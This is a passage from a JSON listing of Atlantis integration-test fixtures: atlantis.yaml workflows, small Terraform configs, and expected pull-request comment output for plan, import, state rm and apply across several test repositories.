    "path": "server/controllers/events/testdata/test-repos/state-rm-multiple-project/atlantis.yaml",
    "content": "version: 3\nprojects:\n- dir: dir1\n- dir: dir2\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/state-rm-multiple-project/dir1/main.tf",
    "content": "resource \"random_id\" \"dummy\" {\n  byte_length = 1\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/state-rm-multiple-project/dir1/versions.tf",
    "content": "provider \"random\" {}\nterraform {\n  required_providers {\n    random = {\n      source  = \"hashicorp/random\"\n      version = \"3.8.1\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/state-rm-multiple-project/dir2/main.tf",
    "content": "resource \"random_id\" \"dummy\" {\n  byte_length = 1\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/state-rm-multiple-project/dir2/versions.tf",
    "content": "provider \"random\" {}\nterraform {\n  required_providers {\n    random = {\n      source  = \"hashicorp/random\"\n      version = \"3.8.1\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-autoplan.txt",
    "content": "Ran Plan for 2 projects:\n\n1. dir: `dir1` workspace: `default`\n1. dir: `dir2` workspace: `default`\n---\n\n### 1. dir: `dir1` workspace: `default`\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # random_id.dummy will be created\n+ resource \"random_id\" \"dummy\" {\n      + b64_std     = (known after apply)\n      + b64_url     = (known after apply)\n      + byte_length = 1\n      + dec         = (known after apply)\n      + hex         = (known after apply)\n      + id          = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d dir1\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d dir1\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n### 2. dir: `dir2` workspace: `default`\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # random_id.dummy will be created\n+ resource \"random_id\" \"dummy\" {\n      + b64_std     = (known after apply)\n      + b64_url     = (known after apply)\n      + byte_length = 1\n      + dec         = (known after apply)\n      + hex         = (known after apply)\n      + id          = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d dir2\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d dir2\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n### Plan Summary\n\n2 projects, 2 with changes, 0 with no changes, 0 failed\n\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-import-dummy1.txt",
    "content": "Ran Import for dir: `dir1` workspace: `default`\n\n```diff\nrandom_id.dummy: Importing from ID \"AA\"...\nrandom_id.dummy: Import prepared!\n  Prepared random_id for import\nrandom_id.dummy: Refreshing state... [id=AA]\n\nImport successful!\n\nThe resources that were imported are shown above. These resources are now in\nyour Terraform state and will henceforth be managed by Terraform.\n```\n\n:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying.\n\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d dir1\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-import-dummy2.txt",
    "content": "Ran Import for dir: `dir2` workspace: `default`\n\n```diff\nrandom_id.dummy: Importing from ID \"BB\"...\nrandom_id.dummy: Import prepared!\n  Prepared random_id for import\nrandom_id.dummy: Refreshing state... [id=BB]\n\nImport successful!\n\nThe resources that were imported are shown above. These resources are now in\nyour Terraform state and will henceforth be managed by Terraform.\n```\n\n:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying.\n\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d dir2\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-merged.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- dir: `dir1` workspace: `default`\n- dir: `dir2` workspace: `default`"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-plan-again.txt",
    "content": "Ran Plan for 2 projects:\n\n1. dir: `dir1` workspace: `default`\n1. dir: `dir2` workspace: `default`\n---\n\n### 1. dir: `dir1` workspace: `default`\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # random_id.dummy will be created\n+ resource \"random_id\" \"dummy\" {\n      + b64_std     = (known after apply)\n      + b64_url     = (known after apply)\n      + byte_length = 1\n      + dec         = (known after apply)\n      + hex         = (known after apply)\n      + id          = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d dir1\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d dir1\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n### 2. dir: `dir2` workspace: `default`\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # random_id.dummy will be created\n+ resource \"random_id\" \"dummy\" {\n      + b64_std     = (known after apply)\n      + b64_url     = (known after apply)\n      + byte_length = 1\n      + dec         = (known after apply)\n      + hex         = (known after apply)\n      + id          = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d dir2\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d dir2\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n### Plan Summary\n\n2 projects, 2 with changes, 0 with no changes, 0 failed\n\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-plan.txt",
    "content": "Ran Plan for 2 projects:\n\n1. dir: `dir1` workspace: `default`\n1. dir: `dir2` workspace: `default`\n---\n\n### 1. dir: `dir1` workspace: `default`\n```diff\nrandom_id.dummy: Refreshing state... [id=AA]\n\nNo changes. Your infrastructure matches the configuration.\n\nTerraform has compared your real infrastructure against your configuration\nand found no differences, so no changes are needed.\n```\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d dir1\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d dir1\n  ```\n\n---\n### 2. dir: `dir2` workspace: `default`\n```diff\nrandom_id.dummy: Refreshing state... [id=BB]\n\nNo changes. Your infrastructure matches the configuration.\n\nTerraform has compared your real infrastructure against your configuration\nand found no differences, so no changes are needed.\n```\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d dir2\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d dir2\n  ```\n\n---\n### Plan Summary\n\n2 projects, 0 with changes, 2 with no changes, 0 failed\n\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-state-rm-multiple-projects.txt",
    "content": "Ran State for 2 projects:\n\n1. dir: `dir1` workspace: `default`\n1. dir: `dir2` workspace: `default`\n---\n\n### 1. dir: `dir1` workspace: `default`\n```diff\nRemoved random_id.dummy\nSuccessfully removed 1 resource instance(s).\n```\n\n:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying.\n\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d dir1\n  ```\n\n---\n### 2. dir: `dir2` workspace: `default`\n```diff\nRemoved random_id.dummy\nSuccessfully removed 1 resource instance(s).\n```\n\n:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying.\n\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d dir2\n  ```\n\n---"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-autoplan.txt",
    "content": "Ran Plan for dir: `.` workspace: `default`\n\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # random_id.count[0] will be created\n+ resource \"random_id\" \"count\" {\n      + b64_std     = (known after apply)\n      + b64_url     = (known after apply)\n      + byte_length = 1\n      + dec         = (known after apply)\n      + hex         = (known after apply)\n      + id          = (known after apply)\n    }\n\n  # random_id.for_each[\"default\"] will be created\n+ resource \"random_id\" \"for_each\" {\n      + b64_std     = (known after apply)\n      + b64_url     = (known after apply)\n      + byte_length = 1\n      + dec         = (known after apply)\n      + hex         = (known after apply)\n      + id          = (known after apply)\n    }\n\n  # random_id.simple will be created\n+ resource \"random_id\" \"simple\" {\n      + b64_std     = (known after apply)\n      + b64_url     = (known after apply)\n      + byte_length = 1\n      + dec         = (known after apply)\n      + hex         = (known after apply)\n      + id          = (known after apply)\n    }\n\nPlan: 3 to add, 0 to change, 0 to destroy.\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d .\n  ```\nPlan: 3 to add, 0 to change, 0 to destroy.\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-import-count.txt",
    "content": "Ran Import for dir: `.` workspace: `default`\n\n```diff\nrandom_id.count[0]: Importing from ID \"BB\"...\nrandom_id.count[0]: Import prepared!\n  Prepared random_id for import\nrandom_id.count[0]: Refreshing state... [id=BB]\n\nImport successful!\n\nThe resources that were imported are shown above. These resources are now in\nyour Terraform state and will henceforth be managed by Terraform.\n```\n\n:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying.\n\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d .\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-import-foreach.txt",
    "content": "Ran Import for dir: `.` workspace: `default`\n\n```diff\nrandom_id.for_each[\"overridden\"]: Importing from ID \"BB\"...\nrandom_id.for_each[\"overridden\"]: Import prepared!\n  Prepared random_id for import\nrandom_id.for_each[\"overridden\"]: Refreshing state... [id=BB]\n\nImport successful!\n\nThe resources that were imported are shown above. These resources are now in\nyour Terraform state and will henceforth be managed by Terraform.\n```\n\n:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying.\n\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d .\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-import-simple.txt",
    "content": "Ran Import for dir: `.` workspace: `default`\n\n```diff\nrandom_id.simple: Importing from ID \"AA\"...\nrandom_id.simple: Import prepared!\n  Prepared random_id for import\nrandom_id.simple: Refreshing state... [id=AA]\n\nImport successful!\n\nThe resources that were imported are shown above. These resources are now in\nyour Terraform state and will henceforth be managed by Terraform.\n```\n\n:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying.\n\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d .\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-merged.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- dir: `.` workspace: `default`"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-plan-again.txt",
    "content": "Ran Plan for dir: `.` workspace: `default`\n\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # random_id.count[0] will be created\n+ resource \"random_id\" \"count\" {\n      + b64_std     = (known after apply)\n      + b64_url     = (known after apply)\n      + byte_length = 1\n      + dec         = (known after apply)\n      + hex         = (known after apply)\n      + id          = (known after apply)\n    }\n\n  # random_id.for_each[\"overridden\"] will be created\n+ resource \"random_id\" \"for_each\" {\n      + b64_std     = (known after apply)\n      + b64_url     = (known after apply)\n      + byte_length = 1\n      + dec         = (known after apply)\n      + hex         = (known after apply)\n      + id          = (known after apply)\n    }\n\n  # random_id.simple will be created\n+ resource \"random_id\" \"simple\" {\n      + b64_std     = (known after apply)\n      + b64_url     = (known after apply)\n      + byte_length = 1\n      + dec         = (known after apply)\n      + hex         = (known after apply)\n      + id          = (known after apply)\n    }\n\nPlan: 3 to add, 0 to change, 0 to destroy.\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d . -- -var var=overridden\n  ```\nPlan: 3 to add, 0 to change, 0 to destroy.\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-plan.txt",
    "content": "Ran Plan for dir: `.` workspace: `default`\n\n```diff\nNo changes. Your infrastructure matches the configuration.\n\nTerraform has compared your real infrastructure against your configuration\nand found no differences, so no changes are needed.\n```\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d . -- -var var=overridden\n  ```\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-state-rm-foreach.txt",
    "content": "Ran State `rm` for dir: `.` workspace: `default`\n\n```diff\nRemoved random_id.for_each[\"overridden\"]\nSuccessfully removed 1 resource instance(s).\n```\n\n:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying.\n\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d .\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/state-rm-single-project/exp-output-state-rm-multiple.txt",
    "content": "Ran State `rm` for dir: `.` workspace: `default`\n\n```diff\nRemoved random_id.count[0]\nRemoved random_id.simple\nSuccessfully removed 2 resource instance(s).\n```\n\n:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying.\n\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d .\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/state-rm-single-project/main.tf",
    "content": "resource \"random_id\" \"simple\" {\n  byte_length = 1\n}\n\nresource \"random_id\" \"for_each\" {\n  for_each    = toset([var.var])\n  byte_length = 1\n}\n\nresource \"random_id\" \"count\" {\n  count       = 1\n  byte_length = 1\n}\n\nvariable \"var\" {\n  default = \"default\"\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/state-rm-single-project/versions.tf",
    "content": "provider \"random\" {}\nterraform {\n  required_providers {\n    random = {\n      source  = \"hashicorp/random\"\n      version = \"3.8.1\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/state-rm-workspace/atlantis.yaml",
    "content": "version: 3\nprojects:\n- name: dir1-ops\n  dir: dir1\n  workspace: ops\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/state-rm-workspace/dir1/main.tf",
    "content": "resource \"random_id\" \"dummy1\" {\n  count = terraform.workspace == \"ops\" ? 1 : 0\n\n  byte_length = 1\n}\n\noutput \"workspace\" {\n  value = terraform.workspace\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/state-rm-workspace/dir1/versions.tf",
    "content": "provider \"random\" {}\nterraform {\n  required_providers {\n    random = {\n      source  = \"hashicorp/random\"\n      version = \"~> 3\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/state-rm-workspace/exp-output-import-dummy1.txt",
    "content": "Ran Import for project: `dir1-ops` dir: `dir1` workspace: `ops`\n\n```diff\nrandom_id.dummy1[0]: Importing from ID \"AA\"...\nrandom_id.dummy1[0]: Import prepared!\n  Prepared random_id for import\nrandom_id.dummy1[0]: Refreshing state... [id=AA]\n\nImport successful!\n\nThe resources that were imported are shown above. These resources are now in\nyour Terraform state and will henceforth be managed by Terraform.\n```\n\n:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying.\n\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -p dir1-ops\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/state-rm-workspace/exp-output-merge.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- dir: `dir1` workspace: `ops`"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/state-rm-workspace/exp-output-plan-again.txt",
    "content": "Ran Plan for project: `dir1-ops` dir: `dir1` workspace: `ops`\n\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # random_id.dummy1[0] will be created\n+ resource \"random_id\" \"dummy1\" {\n      + b64_std     = (known after apply)\n      + b64_url     = (known after apply)\n      + byte_length = 1\n      + dec         = (known after apply)\n      + hex         = (known after apply)\n      + id          = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -p dir1-ops\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -p dir1-ops\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/state-rm-workspace/exp-output-plan.txt",
    "content": "Ran Plan for project: `dir1-ops` dir: `dir1` workspace: `ops`\n\n```diff\nrandom_id.dummy1[0]: Refreshing state... [id=AA]\n\nNo changes. Your infrastructure matches the configuration.\n\nTerraform has compared your real infrastructure against your configuration\nand found no differences, so no changes are needed.\n```\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -p dir1-ops\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -p dir1-ops\n  ```\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/state-rm-workspace/exp-output-state-rm-dummy1.txt",
    "content": "Ran State `rm` for project: `dir1-ops` dir: `dir1` workspace: `ops`\n\n```diff\nRemoved random_id.dummy1[0]\nSuccessfully removed 1 resource instance(s).\n```\n\n:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying.\n\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -p dir1-ops\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/tfvars-yaml/atlantis.yaml",
    "content": "version: 3\nprojects:\n- dir: .\n  name: default\n  workflow: default\n- dir: .\n  workflow: staging\n  name: staging\nworkflows:\n  default:\n    plan:\n      steps:\n      - run: rm -rf .terraform\n      - init:\n          extra_args: [-backend-config=default.backend.tfvars]\n      - plan:\n          extra_args: [-var-file=default.tfvars]\n      - run: echo workspace=$WORKSPACE\n  staging:\n    plan:\n      steps:\n      - run: rm -rf .terraform\n      - init:\n          extra_args: [-backend-config=staging.backend.tfvars]\n      - plan:\n          extra_args: [-var-file, staging.tfvars]\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/tfvars-yaml/default.backend.tfvars",
    "content": "path = \"default.tfstate\""
  },
  {
    "path": "server/controllers/events/testdata/test-repos/tfvars-yaml/default.tfvars",
    "content": "var = \"default\""
  },
  {
    "path": "server/controllers/events/testdata/test-repos/tfvars-yaml/exp-output-apply-default.txt",
    "content": "Ran Apply for project: `default` dir: `.` workspace: `default`\n\n```diff\nnull_resource.simple:\nnull_resource.simple:\n\nApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n\nOutputs:\n\nvar = \"default\"\nworkspace = \"default\"\n```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/tfvars-yaml/exp-output-apply-staging.txt",
    "content": "Ran Apply for project: `staging` dir: `.` workspace: `default`\n\n```diff\nnull_resource.simple:\nnull_resource.simple:\n\nApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n\nOutputs:\n\nvar = \"staging\"\nworkspace = \"default\"\n```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/tfvars-yaml/exp-output-autoplan.txt",
    "content": "Ran Plan for 2 projects:\n\n1. project: `default` dir: `.` workspace: `default`\n1. project: `staging` dir: `.` workspace: `default`\n---\n\n### 1. project: `default` dir: `.` workspace: `default`\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.simple[0] will be created\n+ resource \"null_resource\" \"simple\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ var       = \"default\"\n+ workspace = \"default\"\n\nworkspace=default\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -p default\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -p default\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n### 2. project: `staging` dir: `.` workspace: `default`\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.simple[0] will be created\n+ resource \"null_resource\" \"simple\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ var       = \"staging\"\n+ workspace = \"default\"\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -p staging\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -p staging\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n### Plan Summary\n\n2 projects, 2 with changes, 0 with no changes, 0 failed\n\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/tfvars-yaml/exp-output-merge.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- dir: `.` workspace: `default`"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/tfvars-yaml/main.tf",
    "content": "terraform {\n  backend \"local\" {\n  }\n}\n\nresource \"null_resource\" \"simple\" {\n  count = 1\n}\n\nvariable \"var\" {\n}\n\noutput \"var\" {\n  value = var.var\n}\n\noutput \"workspace\" {\n  value = terraform.workspace\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/tfvars-yaml/staging.backend.tfvars",
    "content": "path = \"staging.tfstate\""
  },
  {
    "path": "server/controllers/events/testdata/test-repos/tfvars-yaml/staging.tfvars",
    "content": "var = \"staging\""
  },
  {
    "path": "server/controllers/events/testdata/test-repos/tfvars-yaml/versions.tf",
    "content": "terraform {\n  required_providers {\n    null = {\n      source  = \"hashicorp/null\"\n      version = \"3.2.4\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/atlantis.yaml",
    "content": "version: 3\nprojects:\n- dir: .\n  name: default\n  workflow: default\n  autoplan:\n    enabled: false\n- dir: .\n  workflow: staging\n  name: staging\n  autoplan:\n    enabled: false\nworkflows:\n  default:\n    plan:\n      steps:\n      - run: rm -rf .terraform\n      - init:\n          extra_args: [-backend-config=default.backend.tfvars]\n      - plan:\n          extra_args: [-var-file=default.tfvars]\n  staging:\n    plan:\n      steps:\n      - run: rm -rf .terraform\n      - init:\n          extra_args: [-backend-config=staging.backend.tfvars]\n      - plan:\n          extra_args: [-var-file, staging.tfvars]\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/default.backend.tfvars",
    "content": "path = \"default.tfstate\""
  },
  {
    "path": "server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/default.tfvars",
    "content": "var = \"default\""
  },
  {
    "path": "server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/exp-output-apply-default.txt",
    "content": "Ran Apply for project: `default` dir: `.` workspace: `default`\n\n```diff\nnull_resource.simple:\nnull_resource.simple:\n\nApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n\nOutputs:\n\nvar = \"default\"\nworkspace = \"default\"\n```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/exp-output-apply-staging.txt",
    "content": "Ran Apply for project: `staging` dir: `.` workspace: `default`\n\n```diff\nnull_resource.simple:\nnull_resource.simple:\n\nApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n\nOutputs:\n\nvar = \"staging\"\nworkspace = \"default\"\n```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/exp-output-merge.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- dir: `.` workspace: `default`"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/exp-output-plan-default.txt",
    "content": "Ran Plan for project: `default` dir: `.` workspace: `default`\n\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.simple[0] will be created\n+ resource \"null_resource\" \"simple\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ var       = \"default\"\n+ workspace = \"default\"\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -p default\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -p default\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/exp-output-plan-staging.txt",
